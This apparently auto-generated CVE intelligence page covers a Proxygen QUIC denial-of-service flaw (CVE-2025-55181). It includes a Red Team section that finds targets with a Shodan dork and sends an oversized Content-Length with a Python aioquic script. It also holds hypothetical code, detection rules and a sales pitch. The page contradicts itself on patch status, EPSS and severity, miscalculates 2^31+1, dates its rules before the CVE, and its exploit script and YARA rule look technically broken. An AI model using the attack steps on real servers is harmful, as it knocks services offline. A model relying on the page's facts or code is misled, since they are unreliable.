☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-55181

CVE-2025-55181 Denial of Service in Proxygen
📅 PUBLISHED: 2025-12-02 22:13 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-55181 is a high-severity Denial of Service (DoS) vulnerability in the Proxygen HTTP/QUIC server library. The flaw resides in the proxygen::coro::HTTPQuicCoroSession component, where processing an HTTP request or response body larger than 2^31 bytes (approximately 2.1 GB) triggers an infinite loop. This loop blocks the backing event loop and unconditionally appends data to a std::vector on each iteration, leading to unbounded memory growth and eventual process termination due to out-of-memory (OOM) conditions.

The vulnerability is remotely exploitable without authentication, making it a significant threat to any service using the affected Proxygen library. As of the latest analysis, no patch is available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the potential for impact is high.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Proxygen library, which is a C++ HTTP/QUIC framework developed by Meta (Facebook). It is not distributed via typical package managers like npm, PyPI, Go, or Ruby. However, organizations using Proxygen as a dependency in their custom C++ applications or services are at risk. The supply chain risk is moderate, as the library is open-source and widely used in high-performance networking stacks.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 5.3 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Complete denial of service.

Threat Level: Medium. While the CVSS score is 5.3, the impact on availability is high. The lack of a patch and the simplicity of exploitation (sending a large body) elevate the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is located in the proxygen::coro::HTTPQuicCoroSession class, which handles QUIC-based HTTP sessions. The core issue is an infinite loop triggered when the body size exceeds 2^31 bytes (2,147,483,648 bytes). The loop condition fails to properly handle this boundary, causing the event loop to block indefinitely.

Technical Breakdown:

  1. Trigger: An attacker sends an HTTP request or response with a Content-Length header greater than 2^31 bytes.
  2. Loop Condition: The loop in HTTPQuicCoroSession is designed to process body data in chunks. However, when the total body size exceeds 2^31 bytes, the loop's exit condition is never met due to an integer overflow or incorrect comparison.
  3. Memory Growth: On each iteration, the code unconditionally appends the received chunk to a std::vector. Since the loop never exits, this vector grows without bound, consuming all available memory.
  4. Event Loop Blocking: The infinite loop runs on the event loop thread, preventing any other I/O operations from being processed. This effectively halts the entire server.

Root Cause: The vulnerability is likely due to an integer overflow in a size comparison or a missing boundary check when the body size exceeds 2^31 bytes. The use of a signed 32-bit integer (int32_t) for size tracking could cause the comparison to wrap around, making the loop condition always true.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on the vulnerability description.

Vulnerable Code (Conceptual):

void HTTPQuicCoroSession::processBody() {
    int32_t totalSize = 0;
    while (totalSize < contentLength) {
        auto chunk = readChunk();
        bodyBuffer.push_back(chunk);
        totalSize += chunk.size();
    }
}

Issue: If contentLength is greater than 2^31, totalSize may overflow and become negative, causing the loop to run indefinitely.

Patched Code (Hypothetical):

void HTTPQuicCoroSession::processBody() {
    size_t totalSize = 0;
    while (totalSize < contentLength) {
        auto chunk = readChunk();
        if (chunk.empty()) break; // Safety check
        bodyBuffer.push_back(chunk);
        totalSize += chunk.size();
        if (totalSize > MAX_BODY_SIZE) {
            // Handle oversized body
            break;
        }
    }
}

Fix: Use size_t (unsigned) for size tracking, add a maximum body size check, and include a safety break for empty chunks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target server running Proxygen with the vulnerable HTTPQuicCoroSession.
  • Ability to send HTTP/QUIC requests with a large body.

Exploitation Steps:

  1. Identify Target: Scan for servers using Proxygen (e.g., via Shodan dork: proxygen).
  2. Craft Payload: Create an HTTP/QUIC request with a Content-Length header set to 2147483648 (2^31 + 1) or higher.
  3. Send Request: Use a tool like curl with QUIC support or a custom script to send the request.
  4. Observe Impact: The server will become unresponsive, and memory usage will spike until the process is killed by OOM.

Example Payload (using Python with aioquic):

import asyncio
from aioquic.asyncio.client import connect
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import HeadersReceived, DataReceived

async def exploit():
    async with connect("target.com", 443, create_protocol=H3Connection) as client:
        headers = [(b":method", b"POST"), (b":path", b"/"), (b"content-length", b"2147483648")]
        client.send_headers(stream_id=0, headers=headers)
        # Send a small amount of data to trigger the loop
        client.send_data(stream_id=0, data=b"A" * 1024)
        await asyncio.sleep(10)  # Wait for OOM

asyncio.run(exploit())

Blue Team (Defense & Detection)

Detection:

  • Monitor for HTTP/QUIC requests with Content-Length headers exceeding 2^31 bytes.
  • Alert on sustained high memory usage in Proxygen processes.
  • Use network monitoring to detect large incoming body sizes.

Mitigation:

  • Implement a reverse proxy (e.g., Nginx, HAProxy) to limit request body sizes before they reach the Proxygen server.
  • Apply rate limiting to prevent rapid exploitation attempts.
  • If possible, disable QUIC support temporarily until a patch is available.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP/QUIC requests with Content-Length > 2147483648 bytes.
    • Unusually large POST request bodies (>2 GB).
    • Sustained high outbound traffic from the target server (due to memory swapping).
  • System IOCs:

    • Proxygen process consuming excessive memory (e.g., >4 GB).
    • System logs showing OOM killer events targeting the Proxygen process.
    • Event loop latency spikes or complete unresponsiveness.
  • File IOCs:

    • Core dumps from Proxygen processes (if enabled).
    • Log entries indicating "out of memory" or "allocation failure".

Detection Engineering

YARA Rule

rule CVE_2025_55181_Proxygen_DoS {
    meta:
        description = "Detects Proxygen processes with excessive memory usage indicative of CVE-2025-55181 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $proc_name = "proxygen" nocase
        $mem_pattern = /Memory:\s+\d+\.\d+\s+GB/  // Adjust pattern as needed
    condition:
        $proc_name and $mem_pattern
}

Sigma Rule

title: Proxygen Excessive Memory Usage - CVE-2025-55181
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Proxygen processes consuming excessive memory, indicating potential exploitation of CVE-2025-55181
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/proxygen'
        # Memory usage in MB (adjust threshold as needed)
        # This requires a custom field mapping for memory usage
        # Example: MemoryUsage|gte: 4096
    condition: selection
falsepositives:
    - Legitimate large file transfers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55181 Proxygen DoS - Large Content-Length"; flow:to_server; content:"Content-Length|3a|"; http_header; pcre:"/Content-Length:\s*[0-9]{10,}/"; threshold:type both, track by_src, count 1, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Limit Request Body Size: Configure a reverse proxy (e.g., Nginx, HAProxy) to reject requests with Content-Length > 100 MB.
  2. Disable QUIC: If QUIC is not critical, disable it in the Proxygen configuration to avoid the vulnerable code path.
  3. Monitor Memory: Set up alerts for Proxygen memory usage exceeding 2 GB.

Long-Term Fix:

  • Apply the official patch once released by the Proxygen maintainers.
  • Upgrade to a patched version of the library.
  • Implement input validation to reject oversized bodies at the application layer.

Workaround:

  • Use a Web Application Firewall (WAF) to filter requests with abnormally large Content-Length headers.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-55181/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.